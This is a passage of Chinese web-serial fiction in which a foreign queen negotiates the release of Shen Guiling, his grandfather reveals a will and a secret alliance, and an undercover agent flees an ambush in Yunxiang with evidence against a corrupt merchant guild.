房间内除了一张固定床铺和一套桌椅外别无他物,四壁采用特殊吸音材料,连脚步声都被吞噬得悄无声息。没有窗户,只有顶端一盏恒定亮度的冷白光灯,模糊了时间的流逝。 沈归灵被单独关押,除定时送餐和必要身体检查外,几乎见不到任何人,也接收不到任何外界信息。 几日后的一个下午,羁押点入口处的气氛明显与往日不同。明岗暗哨增多,空气里弥漫着无声的紧绷。 两辆悬挂特殊牌照的黑色轿车,在一辆安全局引导车的带领下,无声驶入,停靠在主楼门前。 车门开启,沈兰晞与沈清予先后下车。二人皆身着深色正装,面色沉凝。他们作为沈家代表,被允许前来"确认情况"并参与交涉谈判。 在工作人员引导下,他们穿过层层安检,来到一间设有单向玻璃的观察室,里面布置成小型会议室,沈归灵沉默地坐在椅子上,背影孤直。 沈兰晞的目光掠过沈归灵略显单薄却挺直的背影,停留片刻后若无其事地移开。 沈清予打量着沈归灵苍白的脸色,轻啧一声:"不是说伤口已经处理了吗?怎么还是这副模样?" "对方代表已抵达,请两位入席。"一名安全局工作人员上前低声告知。 沈兰晞与沈清予对视一眼,神色收敛。 就在这时,隔壁会议室的门从外面被推开。 白密身着S国王室外交官服饰率先步入。他一头银发张扬,那双与沈归灵七分相似的瑞凤眼微扬,桀骜肆意,步履间自带不容忽视的压迫感。 他扯着嘴角,瞥过沈兰晞和沈清予时,眼神挑衅嘲讽,下一秒转见沈归灵时,笑容瞬间凝固。 紧随其后半步的是一位年约六旬的老者,身着S国高级将领常服,肩章上的将星熠熠生辉。老者身形挺拔,步伐沉稳,面容肃穆,眼神锐利如鹰,周身散发着久经沙场的杀伐之气。 此人正是当日送别白象王军的最高指挥官,巴顿将军。 巴顿眼里完全没有其他人,一眼就锁定了席位中央的沈归灵,见他精神不振,眯眼瞪向A国代表团。 而紧随巴顿将军身后的,是四五名同样身着S国将官制服的中年男子。他们个个肩章闪耀,气度不凡,有的面容冷峻如铁,有的眼神深邃似海,有的虽面带微笑却透着不容小觑的威严。 一行人步履沉稳地步入会议室,强大的气场瞬间充斥整个空间,带来无形的压迫感。 沈清予见状,微挑眉梢,侧首对沈兰晞低语:"阵仗不小。看见没?安全局的代表们脸都绿了。" 沈兰晞神色淡然:"白家这是把王室军团指挥官都派来了,看来沈归灵的身份不止是白家血脉这么简单。" 沈清予扯了扯嘴角:"不管他是谁,白家既然愿意派人来,就说明他死不了。" 观察室内,A国代表与S国代表分坐长桌两侧,沈兰晞、沈清予作为第三方代表坐在A国代表后方。 气氛凝重,双方代表礼貌握手,正式进入谈判环节。 "叩叩——" 会议室的门被轻轻敲响,一名S国侍卫官快步走入,无视现场凝滞的气氛,径直走到白密身边,俯身在他耳畔低语数句。 白密眼中闪过一丝显而易见的错愕,他无视安全局代表投来的疑惑目光,转头与身旁的巴顿将军低声交谈。 下一刻,在众人不明所以的注视下,白密、巴顿将军及其身后所有S国将官齐刷刷起身,动作整齐划一,带着近乎本能的恭敬姿态看向大门方向。 与此同时,沉重的会议室大门被两名侍从从外侧缓缓推开。 一道身影逆着走廊光线,步履从容地迈入室内。 来人身着S国王室最高规格的繁复礼裙,深沉的绀色面料上以金线绣着古老王室图腾,裙摆曳地,雍容华贵。 白朱拉并未佩戴过多珠宝,只在发间束着一顶造型简洁却象征无上权柄的白金王冠。那双沉静的眼眸缓缓扫过全场,目光并不锐利,却带着不怒自威的压迫感。 竟是女王亲临?! 安全局代表们也认出了这位突然驾临的大人物,他们事先并未收到消息,此刻脸上难掩震惊与措手不及。众人纷纷下意识起身,先前的沉稳与公式化荡然无存。 沈兰晞和沈清予脸色微变,倏然起身,目光不解地投向席间的沈归灵。 竟能让白朱拉亲临A国两次? 他究竟是白家哪位王室之后? "陛下圣安。" 白密与巴顿将军立即上前一步,右手抚胸,向女王躬身行礼,姿态无比恭顺。 白朱拉女王微微颔首示意。 她的目光越过众人,最终落在沈归灵身上。但沈归灵毫无反应,低垂着眼睑,完全像个局外人。 随即,白朱拉收回目光,转向席间的A国代表,用流利的A国语说道:"谈判继续。我只是旁听。" 话音刚落,随行侍从迅速在长桌一侧为首的位置安置好特制座椅。白朱拉优雅落座,姿态从容,仿佛真的只是来参加一场普通会议。 …… 第891章 白家王室的诚意 白朱拉女王落座后,会议室陷入短暂的绝对寂静,仿佛连时间都为之凝固。她虽言明“旁听”,但那周身萦绕的王者威仪,让每个人都感受到了无形的压力。 A国安全局的代表们强自镇定,将一份文件推向桌面中央:“关于沈归灵先生在我国境内涉嫌的身份欺诈、危害国家安全等多项指控,这是初步……” “不必了。” 白密突然出声打断,声音不大,却带着不容置疑的决绝。 他站起身,双手撑在桌面上,身体微微前倾,那双瑞凤眼锐利地扫过在场的每一位A国代表,姿态从容:“白家王室不接受任何指控。” 白密的态度让A国代表十分不满,但碍于女王在场并未当场发作。为首代表表情凝重,笑容疏离:“证据确凿,贵国难不成还想抵赖?” 白密摇头:“并非抵赖,只是白家王室不接受除S国之外的律法制裁。” 他略作停顿,欣赏着A国代表们铁青的脸色,随即话锋一转,语气稍缓,修长的手指在桌面上轻轻敲击:“当然,贵国的律法同样神圣,我们绝无冒犯之意。为了表达我们的诚意,也为了感谢贵国豪族替王室养育血脉的恩情,我们带来了绝对的诚意,各位代表不妨先听一听?” A国代表们相互交换着眼神,多年的外交经验让他们嗅到了不同寻常的气息。 为首的代表与左右同僚低声商议,沉吟片刻后缓缓颔首,做了一个“请”的手势。 白密早就料到了这些老狐狸的反应,嘴角几不可察地向上弯了一下,抬手比出一根手指: “第一:S国愿立即移交潜伏在贵国军政系统内,级别最高的三枚‘暗棋’的全部信息。同时,无条件支持贵国在争议海域的全部主权主张,并在下一轮全球贸易协定谈判中,与贵国立场完全绑定。” 此话一出,A国代表团顿时哗然。 虽说大国之间间谍战不可避免,但S国竟然连他们的军防系统都渗透到了如此程度,这实在太可怕了。 S国的条件已不仅是让步,而是直接将战略匕首递到了他们手中。现场几位安全局高层的呼吸明显粗重起来。 沈兰晞转眸看向沈归灵,语调波澜不惊:“第一个条件就如此惊人,后面的还得了?” 果然不出他所料,还没等A国代表作出决定,一直沉默的巴顿将军再次开口,声音如同钢铁交击:“军事领域。S国愿意共享下一代隐形舰艇的部分核心技术资料,并承诺未来十年内,我国最先进的‘鹰隼’突击队,可接受贵国三次无条件的调遣指令。” 话音刚落,一位肩章上缀满星辰的上将随之起身,将一份厚重的文件滑至对方面前:“这是位于我国与贵国接壤处的三处稀有矿产的完全开采权转让协议。初步估值,相当于贵国全年军费总预算。” 条件层层加码,每一个都精准命中A国最核心的诉求,从情报、外交到军事、经济,几乎是拱手送上足以让国力瞬间跃升的钥匙。 安全局代表们的脸色从震惊到难以置信,最后甚至带上了一丝疑惑,这个沈归灵,到底是什么来头? 白密优雅地整理了一下袖口,脸上依旧噙着恰到好处的礼貌微笑:“那么现在,请贵国正面回应,是否还要继续审判?” 会议室再次陷入一片死寂,但这次的寂静与先前不同,充满了躁动不安的暗流。 A国代表们再也无法维持表面的镇定,纷纷侧身,与身旁的同僚急促地低语起来。 沈清予见状,歪着头偏向沈兰晞:“这些老狐狸,想吃肉又怕肉有毒。白家的条件越是吸引人,就说明沈归灵的身份越是不简单。我看今天的谈判,一时半会儿估计出不了结果。” 沈兰晞抬眸,目光扫向S国席后方那位始终静坐的身影,淡淡道:“女王亲临,容不得他们拖延。” 仿佛是为了印证沈兰晞的话,就在A国代表们还在低声争论、权衡利弊之际,一直端坐主位的女王忽然优雅地站起身。 刹那间,会议室内的低语声戛然而止。无论是纠结的A国代表,还是成竹在胸的S国众人,都不由自主地将视线投向她。 女王并未理会那些目光,曳地的裙摆划过光洁的地面,径直来到作为第三方代表的沈兰晞与沈清予面前,威严的容颜上首次流露出些许温和。 “我今日来,不为国事,只为家恩。” 女王的声音不高,却带着定鼎之重,“沈老爷子庇护之恩重于山岳,白家王室铭记于心。” 她微微侧首,一名侍从官立刻上前,展开一卷以金线绣着王室徽章的诏书,朗声宣读: “为酬谢沈氏家族庇护王室血脉大恩,特此敕令:一,赠予沈家黑晶银行无条件、无限额信用担保,永续有效;二,划拨S国皇室基金年度收益的十分之一,设立‘沈氏恩荣基金’,永世由沈家支配;三,授予沈家核心成员三人,S国世袭公爵爵位,享王室成员同等礼遇;四,开放我国所有尖端科技数据库,与沈家共享。” 每一项馈赠都堪称天价,尤其是科技数据库的共享,意味着沈家将一跃成为掌握最前沿力量的庞然大物。 宣读完毕,白朱拉女王的目光重新投向A国代表团,之前的温和敛去,只剩下不容置疑的决断: “这些是白家的诚意,亦是底线。人,今天我必须带走。若贵国应允,所有条件即刻生效。若不应……” 女王笑了笑,指尖轻轻拨弄了一下权杖上镶嵌的红钻石,声音轻柔却带着雷霆万钧之力: “那便是……宣战。” …… 第892章 爱意无处不在 女王轻描淡写吐出的最后两个字,如同冰锥刺入凝滞的空气,瞬间冻结了会议室里最后一丝犹豫与权衡。 这位女王乃是主宰S国半壁江山的传奇帝王,即便放眼世界体系亦拥有不俗地位。她的话从非威胁,而是陈述一个必将发生的未来。 在这万籁俱寂的瞬间,所有人都被这句话震惊得来不及反应,除了沈归灵。 他缓缓掀起那双长久垂落的眼睫,露出一对深邃沉静的黑眸。轮廓依旧是清俊矜贵的模样,但此刻,那眼底深处仿佛有冰层碎裂,折射出复杂至极的细碎光芒。 沈归灵的目光不偏不倚,与白朱拉的视线撞了个正着。 时间仿佛在这一刻被无限拉长。 女王原本带着不容置疑的威严,但在与沈归灵眼眸相接的刹那,几不可察地微微一动。 她这一生最敬爱的是将她托举上王座的伟大父亲,最偏爱的则是陪她度过至暗时刻的天骄嫡子。而沈归灵,同时具备了二人身上所有的轮廓,这让她在面对这个孩子时,总会生出一份难以克制的温情。 女王的“宣战”宣言,成为了压垮天平的最终砝码。 面对这位传奇帝王的绝对意志,A国代表们深知,任何拖延与拒绝都将导致无法承受的后果。他们当机立断,选择见好就收,全盘接受了S国提出的所有条件。 谈判桌上,剑拔弩张的气氛迅速缓和。双方代表在厚重的协议文件上郑重署名、交换用印,一系列关乎战略情报、军事技术、稀有矿产及对沈家巨额谢仪的条约,就此尘埃落定。 双方代表起立,握手言和。沈归灵也在A国监管之下,步入了白密与巴顿将军等人的护卫之中。 * 休息室内陈设华美,与先前拘禁室的冰冷判若云泥。 沈归灵静立在落地窗前,窗外是森严的守卫与灰蒙蒙的天空。他换上了一身S国为他准备的便服,料子昂贵,剪裁合体,却仿佛一道无形的屏障,将他与过去彻底隔开。 白密与巴顿将军一左一右“夹击”着随行医生,再三确认沈归灵的伤势无碍后,才开始商议启程时间。 未免沈归灵觉得被冷落,两人特意询问他的意见。但沈归灵全程都表现得十分冷漠,并未回应。 白密只当他因沈家处罚而心情不佳,默默朝巴顿使了个眼色,“这A国人不讲情义只要好处,还是赶紧走。” 巴顿立马点头附和。 就在这时,休息室的门被轻轻敲响。 一名S国侍从官快步走入,在白密耳边低语了几句。 白密眉头微挑,眼中闪过一丝讶异,随即转头看向沈归灵,“那个……” 他一时没想好如何称呼,干脆含糊带过,“沈家的人在外面,说是……要送行。要见吗?” 空气仿佛再次凝滞。等了一会儿不见沈归灵回答,巴顿将军立刻道:“他们来做什么?把殿下害成这样……” “见。” 沈归灵忽然转过身,眸光亮得惊人,“请他们进来。” 巴顿愣了愣,恭敬垂首,回头与白密对视一眼,两人沉默地退出了房间。 片刻后,休息室的门再次被推开。 率先走进来的是沈兰晞。他神色是一贯的冷峻,步伐沉稳,只是目光在触及沈归灵身上那套陌生服饰时,微不可察地停顿了一瞬。跟在他身后的是沈清予,眼神则更为复杂。 沉默被无声放大。三人各占一角,维持着稳定的三角关系。 沈清予轻咳一声,故作不在意地调侃:“恭喜啊,阿灵哥,你这也算弯道超车了。” 沈归灵瞥了他一眼,转身落座,“这个时候才来巴结,晚了。” 沈清予嗤笑一声,正要回怼,忽然想到什么,一脸晦气地咽了回去。 沈归灵偏过头,目光转向沈兰晞,“兰晞哥,也是来发表胜利感言的?” 他的语调带着明显的挑衅。 沈兰晞没有立刻回答。沉默半晌,他才开口,声音比平时更低沉几分:“爷爷吩咐我来送人。” 话落,他微微侧首。一直等在门外的莫然和雷行推门走了进来,两人看见沈归灵时都红了眼眶,毫不犹豫地奔向他。 莫然一脸愧疚,“少爷,对不起,是我能力不够,害了少爷。” 雷行说不出肉麻的话,只是一个劲儿地抹眼泪。 沈归灵眉宇间的尖锐在看见这两人时明显愣了一下。那份刻意维持的冰冷,被这突如其来的关切撞出了一丝裂缝。 他抬眸,静静看着沈兰晞,“什么意思?” 沈兰晞:“爷爷说你的人,你自己带走。” 三人之间再次陷入一种古怪的沉默。 沈归灵收敛了神色,目光在两人之间逡巡,“还有事?” 沈兰晞迎上他的目光。那双向来沉静如古井的眼眸轻微晃动了一下,又迅速归于平寂。 “保重。” 轻描淡写地落下两个字,他便头也不回地出了房间。 沈归灵嘴角的弧度微微凝固。 “喂!”没等他反应过来,沈清予从西装内衬掏出一封印着蜡漆的信封递上前,“还有这个。” 沈归灵皱了皱眉,垂眸睨了一眼,“什么?” 沈清予没好气地,“我哪知道?总归是爷爷让我交给你的。你要不要?” 沈归灵思忖片刻,两指夹住信封抽回手中,动作粗鲁得过分。 沈清予心知他这是不爽他们告密、联合将他踢出局,被气得冷笑出声。刚转身,忽然想到什么,又不情不愿地回过头:“白家也不好混……你可别一回去就被干掉了。” 沈归灵挑眉看着他。 沈清予忽然像是被这句话烫了嘴,脸色瞬间变得极其不自然,转头摔门而出。 “……”沈归灵看着沈清予几乎是落荒而逃的背影,沉默片刻,冷冷扯了扯嘴角,“傻逼。” 他垂眸,视线落在手中的信封上。迟疑片刻,果断揭开了印着沈家族徽的火漆。 纸张被抽了出来,是沈园书房里最常见的那种素白笺纸。 他的目光才扫过第一行字,心跳瞬间停止。 -【立遗嘱人:沈庄】 -【条款一:若立遗嘱人非正常死亡,名下除家族公产外一切私有财产,包括但不限于沈园、国内外所有动产与不动产、名下全部股权及投资收益,均由其孙女姜花衫单独、全额继承。】 【条款二:沈氏全族,凡我血脉,皆不可因利违背姜花衫本人意愿,强行为其安排或干涉其婚配之事。此条,优先于族规。】 …… 第893章 明月朽末,还有太阳 沈归灵小心翼翼地将手里的纸张抚平、折好,重新塞回信封,贴身放入内袋。 他轻抚着心脏的位置,指腹压着信笺,感受着下方沉稳的心跳。 “阿灵,你相信爷爷吗?” 沈归灵眼睑轻抬,深邃的眸光里漾开一片薄雾。 那日他与爷爷的对话,其实还有后半段。 橘红色的余晖如熔金流淌,漫过竹园那扇巨大的雕花木窗,为满室沉木书香镀上一层温暖而悲壮的色泽。 爷爷背对着他站在窗前,苍老的身影被夕阳拉得极长,几乎覆盖了整个房间。他凝望着窗外渐沉的暮色庭院,沉默了许久。 直到最后一缕光挣扎着攀上他霜白的鬓角,他才缓缓转过身,问道: “阿灵,你相信爷爷吗?” 沈归灵自诩识人万千,却从未见过如沈庄这般——看透世情、执掌生杀,骨子里却仍存着一份偏执的温情。沈渊也好,沈澈也罢,所有在沈园作恶之人,倚仗的其实都是老爷子这份未泯的温情。 他略一沉吟,轻轻点头: “相信。” 沈庄眼中掠过一丝安慰,走上前,轻拍了拍沈归灵的肩: “白家并非重情的家族,但女王却愿为你亲赴沈园。你能告诉爷爷,你是白家谁的血脉吗?” 沈归灵几乎未犹豫: “白冕。” 沈庄脸上并无讶异,显然早已猜到。他微微颔首,语带追忆: “难怪我初见你时,便觉少年风姿不凡……原来是故人之子。” 沈归灵眉宇微动: “爷爷也认识他?” 沈庄抬眸细细端详着他,轻叹一声: “认识。你父亲战陨前的最后一夜,便是来见了我。他告诉我,王妃已秘密诞下麟儿,请我护送你们回国。可我……最终有负故人所托。” “他来见过您?” 沈庄点头: “缘分之妙,终非言语可尽。我虽失当年之约,却在冥冥之中完成了故人所托。或许,这就是天意。” “阿灵。” 沈庄神色一敛,眼中温情骤散。他从衣袋中取出一枚硬盘,郑重递到沈归灵面前: “拿着。” 沈归灵看了沈庄一眼,才低头看向掌心: “爷爷,这是什么?” 沈庄: “《四十九号档案联盟条约》。” 沈归灵眸光微怔——当初斩杀白峥后,他窃取其全部机密文件,其中就有一份关于《四十九号档案》的资料。其中的内容,他大致清楚。 沈庄并不知情,继续解释道: “这里面是关于世界经济强权制的雏形,已有包括S国在内的四十九位世界级权谋者签字。当初这份名单转交沈家时,被我父亲断然拒绝,联盟因此紧急叫停。后来我接管沈家,带领沈家跃居A国鼎族之列,这份合约又辗转送至我手中。我秉承父志,依旧反对,联盟再度停滞。” “二十年前,你父亲携此约找到我,告知我联盟中有人不满利益分割,正暗中蠢蠢欲动,企图再次推动计划。他是白家王室里唯一反对联盟的人。原本白家王室已在合约上签字,但因你父亲的主张,女王态度也有所动摇。他预感族中出了内奸,唯恐此次出访遭暗杀,便以当年沈家灭门内情为交换,请我护你平安。” “可对方势力远超我所料,竟设计害你父亲战死,连你母亲归国的战舰也一并炸毁。那时我便明白——若沈家不能直跃而上,要么我臣服于联盟签字,要么沈家灭门之祸……将再度重演。” 沈归灵声音低沉: “听爷爷之意,当年沈家灭门……也如我父亲这般,是他们策划的?” 沈庄眉眼沉郁,闭了闭眼,缓缓点头: “世界强权一体,于他们而言,战争不过是戏台上一出剧。他们策划东湾动乱,我父兄战亦是死,退亦是亡,最终只能血洒山河,不负先明。” 言罢,他抬眸望向窗外竹影间的冷月,神情黯然: “先祖遗志不可夺。我深知,欲与这些人抗争,必得立于更高处。于是我倾尽心力栽培阿玺……他是我偏爱的孩子,亦是最懂我心志之人。我亲手送他上高台,可最终,却害明月垂落,不得善终。” 沈归灵垂眸,再次看向掌中那枚硬盘,五指缓缓收拢: “爷爷,您想让我做什么?” 沈庄慢慢抬眸,眼中沉下一道暗芒。 他转过身,逆光勾勒出清癯的轮廓,深刻皱纹在光影间显得格外柔和。 “阿灵,” 他又唤了一声,语声格外沉静, “你……还愿意相信爷爷吗?” 话音落下的刹那,夕阳余晖正映进沈归灵眼中,刺得他微微眯起了眼。 他望着沈庄逆光的身影——那身影不似平日如山岳般不可撼动,反倒透出一种如烛火将尽般的孤注一掷。 沈庄轻声开口,如落子定局: “阿灵,明月朽末,还有太阳。爷爷想……再下一局棋。” …… 第894章 成为太阳 沈归灵眼睑轻颤,指尖无意识地收紧,隔着昂贵的衣料,感受着下方急促的心跳。 耳畔再次响起沈庄的话语: “阿灵,爷爷知道,你求出沈家并非为了回白家。但我希望你能回归白家——以白冕亲王遗脉的身份,加上女王那份愧疚与期许,你完全有能力在白家内部站稳脚跟,甚至……触及核心。” “这世界的权柄就这么多,你拿得多,别人自然就拿得少。唯有如你这般的年轻人多起来,话语权才能真正转移。这或许是一场跨越世纪的漫长斗争,但它意义重大,值得全力以赴。” “爷爷知道,你并不愿成为你父亲那样被世人传颂的英雄。你站出来承担这一切,无非是想成为某一个人的英雄。但阿灵,真正的吸引,从不依靠牺牲与庇护。” “你要做的,不是将自己化作盾牌,挡在她身前遮风挡雨。时间久了,盾牌只会显得冰冷而沉重。” “你要做的,是成为光源本身。” “立于高处,清醒而强大,坚守你认定的道。你的光芒、你的意志、你为更广阔的世界而战时展现的魄力与智谋——这些,才是真正无法被忽视的引力。” “当你不只为某一个人而活,而是为你所认同的信念去征战、去闪耀时,你所散发的光热,自会吸引与你同频的灵魂。她会看见真实的你、强大的你、破碎后依然选择站起的你。她会为你骄傲,而非仅仅心存感激。” “最高级的爱,不是占有与保护,而是并肩与吸引。是两个完整的灵魂,因彼此的光芒而靠近,因共同的信念而同行。” “所以,孩子,你明白了吗?真正的太阳从不畏惧无人追随。当你持续散发光热,与你灵魂契合的人,自会循光而来。” 窗外天空灰蒙蒙的,与竹园里那抹熔金般的夕阳判若两个世界。 沈归灵感受着指尖下的心跳,眸中最后一丝迷惘的雾气彻底散去。 他终于明白,为何姜花衫的目光始终追随着爷爷。 因为爷爷本就是太阳。 而他,也要成为太阳。 沈兰晞与沈清予回到沈园复命时,暮色已悄然漫过层叠飞檐。 书房内,沈庄静坐于檀木椅上。听完二人回禀,他神情如常,辨不出喜怒。 “知道了。你们也辛苦了,先去休息吧。” 沈兰晞与沈清予心知老爷子此刻心境复杂,未再多言,悄然退出书房。 当门扉轻合,沉重的寂静再度笼罩。 沈庄缓缓起身,踱至窗前。暮霭中的沈园格外沉静,远处楼阁轮廓渐次模糊。 他抬首望向天际,目光悠远,似要穿透云层,望向更远的尽头。 良久,一声轻叹。 他转而望向廊下,恍惚间,仿佛又看见那个十四岁的少年。 少年并不知道,那时的他其实藏得并不好。那双眸子亮得灼人,其中燃烧着未被驯服的火焰与野性。 他明知危险,却还是将他留了下来。 只因不忍见那一身铮铮傲骨,零落成泥。 * 第895章 云乡商会 私人渡轮在鲸港附近的僻静码头靠岸。周宴珩下了船,一辆黑色轿车早已无声等候。车窗玻璃颜色深沉,隔绝了外界的一切窥探。 车子并未驶向周宴珩常去的那些声色场所,而是七拐八绕进入一片老城区,最终停在一处挂着“云间同乡会”朴素牌匾的古旧宅院前。 门楣低调,内里却别有洞天。 穿过回廊,是一间装修典雅、隔音极好的茶室。 茶室内烟雾缭绕。几个或富态或精干的中年男人正襟危坐,脸上带着难以掩饰的焦躁。主位上是一位头发花白、穿着中式褂子的老者,正是云乡商会会长陈明生。 周宴珩推门而入。他年轻得过分的面孔与室内沉凝的气氛格格不入。随手将外套搭在臂弯,脸上依旧是那副漫不经心的神情,唯有眼底深处掠过一丝不易察觉的审视。 “周少爷。” 陈明生率先起身,脸上堆起笑容。其余几人也纷纷站起,恭敬中带着一丝不易察觉的疑虑。 他们没想到周家派来的竟是这位年纪轻轻的嫡少爷。虽然早有耳闻此子深受周老爷子器重,但眼下这关乎身家性命的大事交给一个年轻人,未免让人觉得周家是否不够重视。 “陈会长,诸位,久等了。”周宴珩微微颔首,算是打过招呼,自顾自在空着的主宾位坐下,姿态闲适得像在自家客厅。 侍者上前欲倒茶,被他抬手阻止。 陈明生与其他几人交换了个眼神,最终还是他硬着头皮开口:“周少爷,事情我们已经说清楚了,不知老爷子有什么打算?” 说完又怕周宴珩觉得他们在质疑周老爷子,赶紧解释:“周少爷,我们已经出来快半个月了,云乡那边都等着回复。这件事可不是小事,大家谁都不敢做主啊。” 众人闻言连连附和:“是啊少爷,那本账本的重要性您应该知道,真要出了什么纰漏,老爷子也不得不防啊。” 周宴珩静静听着,指尖轻轻摩挲着温热的茶杯壁,脸上看不出什么表情,淡淡道:“爷爷让我来就是给诸位吃个定心丸。就算有人拿了账本,他也进不了鲸港。” 闻言陈明生等人脸上终于露出喜色:“有老爷子这句话,咱们也就不急了。” 周宴珩眼皮微抬,明明没什么情绪,却让众人脊背一凉,瞬间噤声。 他淡淡道:“爷爷还有一句话,东西丢了可以不要,但偷东西的老鼠务必要解决。否则周家以后可不敢再往云乡''放粮''了。” 陈明生脸上的喜色僵住,声音干涩:“老爷子的意思我们明白,只不过......” 他小心翼翼观察着周宴珩的脸色,斟酌用词:“不瞒周少爷,我们已经不止一次和那些''老鼠''交锋,但对方行事非常专业,痕迹抹得很干净,不像是普通的商业对手或者调查记者。我们怀疑...是......那边的人?” 陈明生虽没有明说,但在场所有人都心知肚明,“那边”指的极有可能是A国军方。 若真是军方在暗中调查,那性质就完全不同了。对付商业对手,他们有的是阴私手段,但直面国家暴力机关,那就是以卵击石。 另一个瘦高个也忍不住压低声音补充:“周少爷,如果真是军方的人,我们贸然动手,会不会......打草惊蛇?别的不怕,就怕到时候给老爷子惹祸,让他老人家为难。” 这话看似表忠心,实则是在试探周宴珩以及他背后的周家,面对可能涉及国家力量的威胁时,到底有多大决心,又愿意为他们这些“办事的人”兜多大的底。 周宴珩看着杯中沉浮的茶叶,嘴角带着一抹似笑非笑的冷意:“漂亮话不用说。你们要真有这份孝心,就不会为了这点小事上鲸港麻烦爷爷。” 众人立马意识到这位嫡少爷不好忽悠,脸色微变,一脸羞愧:“少爷说的是。” 周宴珩抬眸,又道:“当初十八名军将死在云乡废厂也没见你们怕过,现在不过是个毛贼算什么,怎么瞻前顾后的?山高皇帝远才能大富大贵,你们要没能耐那就换人。土皇帝嘛,谁不想当?” 周宴珩话音落下,茶室内死一般寂静。 陈明生喉咙发紧,其他几人脸色煞白,一句话都不敢反驳。 当初他们为了保守秘密,对一伙暗线下了追杀令,直接引爆了一个工厂。原本是皆大欢喜的好事,可万万没想到那一群人里竟然有瞒着家里暗访的周小姐。 周小姐的死他们所有人都责无旁贷,已然成了午夜梦回的梦魇。周宴珩如此轻描淡写地提起,比任何疾言厉色的威胁都更让人胆寒。 陈明生下意识擦了擦额头冷汗:“少爷放心,我们知道该怎么做了。” 车子驶离老城区,融入鲸港璀璨的夜色车流。周宴珩靠在后座闭目养神,指尖无意识地反复摩挲着无名指上的纹身。那圈诡异的线条在窗外忽明忽暗的光影下,仿佛活物般蠕动。 * 约莫半个小时后,轿车驶入周家庄园。还没入主厅,就听见水榭戏台方向传来咿咿呀呀的唱腔。 周宴珩整了整衣襟,径直向戏台走去。 周国潮正坐在太师椅上闭目养神,手里轻轻打着拍子,嘴里咿咿呀呀跟着戏本清唱。 周宴珩对周老爷子的唱腔不敢恭维,皱了皱眉,转身就要走。 “我唱的有这么难听吗啊?”周老爷子坐起身,目光落在周宴珩身上,“回来。” 周宴珩立马折返,躬身道:“爷爷。” 周国潮冷哼了一声,端起旁边的紫砂小壶对着壶嘴呷了口茶:“云乡那边,都交待好了?” “嗯。”周宴珩应道,“都打发回去了。” 周国潮思忖片刻,放下茶壶:“这件事交给别人我不放心,你跟着去云乡收尾。” 周宴珩问:“云乡是块肥肉,爷爷您真舍得?” 周国潮摇头:“接二连三地出纰漏,云乡早就不安全了。与其等着它断送周家的生路,不如我亲自送他们上路。两年了,总要给小珊一个交代了。” …… 第896章 困兽之局 云乡,夜雨。 路迦缩在云乡县一家不起眼的小宾馆房间里,窗外淅淅沥沥的雨声敲打着生锈的雨棚,扰得人心烦意乱。 房间狭小潮湿,空气中弥漫着一股劣质消毒水和霉味混合的气味。 他点了一根烟,烟雾袅袅,熏得看不清他脸上的神情。 “咚咚咚”,三长两短的敲门声,约定好的暗号。 路迦立马掐灭烟蒂,警惕地走到门后,透过猫眼向外看。 门外站着一个穿着雨衣、身形瘦小的男人,手里拎着一个塑料袋,像是刚买了夜宵回来。 路迦轻轻打开门锁,男人闪身而入,带进一股湿冷的寒气。 “东西呢?”路迦压低声音,直接问道。 男人脱下雨帽,露出一张饱经风霜、带着些惶恐的脸。他是最早潜入云乡的暗探,在云乡商会总部担任会计,也是继上次云乡大清洗之后唯一没有清查的高层暗线,代号老闫。 老闫从怀里掏出一个用防水油布包裹得严严实实的U盘,递给路迦。 “长官,这是最后一部分了,我能接触到的所有备份和原始凭证扫描件都在里面。”老闫的声音有些发抖,“他们查得很紧,商会内部已经开始清洗了,我……我可能暴露了。” 路迦接过U盘,入手冰凉沉重。 他拍了拍老闫的肩膀,“辛苦你了,你放心,这次我们一定可以……” 不等他说完,老闫一把抓住路迦的手,“长官,还有一件事,千万不想相信周……” “警署厅临检!所有人待在房间里别动!” 宾馆楼下突然传来一阵刺耳的刹车声,紧接着是杂乱而沉重的脚步声,以及毫不掩饰的呼喝声。 他的话戛然而止。 路迦脸色骤变,猛地冲到窗边,掀开窗帘一角向下望去。 楼下,几辆没有任何标识的黑色越野车蛮横地堵死了宾馆出口,车上跳下来的人影动作迅捷而统一,带着一股绝非普通警察的肃杀之气。 老闫脸色瞬间变得惨白,但他浑浊的眼睛里却爆发出一种决绝的光。他猛地将路迦从窗边推开,自己用身体死死抵住了单薄的房门。 “长官,你先走!” 老闫的声音因急促而嘶哑,却带着不容置疑的坚决,“他们都是一丘之貉!快走!窗子,从后面窗子走!!” “老闫!”路迦低吼,伸手想去拉他。 “砰砰砰!”沉重的撞门声响起,门板发出痛苦的呻吟,锁扣都在松动。 老闫回头,深深看了路迦一眼,那眼神复杂无比,有未尽之言,有深深的不甘,更有一种托付一切的沉重。 时间紧迫,不容半分犹豫。 突然他挺直了佝偻的脊背,尽管穿着沾满泥点的旧雨衣,那一刻却仿佛重新穿上了那身久违的戎装。 老闫抬起右手,五指并拢,以一个标准、甚至带着几分笨拙却无比庄重的姿态,向路迦敬了一个军礼。 没有言语,但这个军礼胜过千言万语。 那是告别,是承诺,是用生命完成的最后一次汇报。 路迦的眼眶瞬间发热,喉咙像是被什么东西死死扼住。他知道自己再犹豫,两个人都会死在这里,老闫的牺牲也将毫无价值。 “保重!”路迦从牙缝里挤出两个字,不再犹豫,猛地转身扑向房间后窗。 “砰——!” 房门在这一刻被猛地撞开,几个持枪的“警员”凶神恶煞地涌了进来。 老闫发出一声怒吼,如同濒死的困兽,用尽全身力气扑向当先一人,死死抱住对方的腰,试图为路迦争取最后几秒钟。 “快走!” 路迦没有回头,他赤红着眼睛,粗暴地扯开锈蚀的窗栓,毫不犹豫地纵身从二楼窗口跃下。身体砸在楼下湿滑泥泞的地面上,传来一阵剧痛。他顾不得检查,手脚并用地爬起身。 就在这时—— “砰——!” 他身后,宾馆房间里,传来一声沉闷的、被刻意消音的枪响。 路迦的脚步在泥泞中猛地一滞。 若是没有身上这份证据,他可以回头和老闫一起拼命,但现在,他不能! 不能回头! 路迦闭了闭眼,一头扎进了被密集雨帘笼罩的幽深小巷。 * 路迦在迷宫般的小巷里不知穿行了多久,直到肺叶如同风箱般剧烈抽痛,他才在一个堆满废弃建材的角落勉强停下。 这里似乎是一个半废弃的工地窝棚,勉强能遮挡部分风雨。 路迦强迫自己冷静下来,他现在首要任务是联系上级,汇报情况,移交证据。 他抹了把脸上的雨水,从贴身暗袋取出特制的卫星通讯器。屏幕微光亮起,但糟糕的是竟然迟迟无法捕捉到信号。他快速切换了几个紧急频道,听筒里传来的只有死寂的忙音或刺耳的杂波。 所有联络渠道,全部中断了。 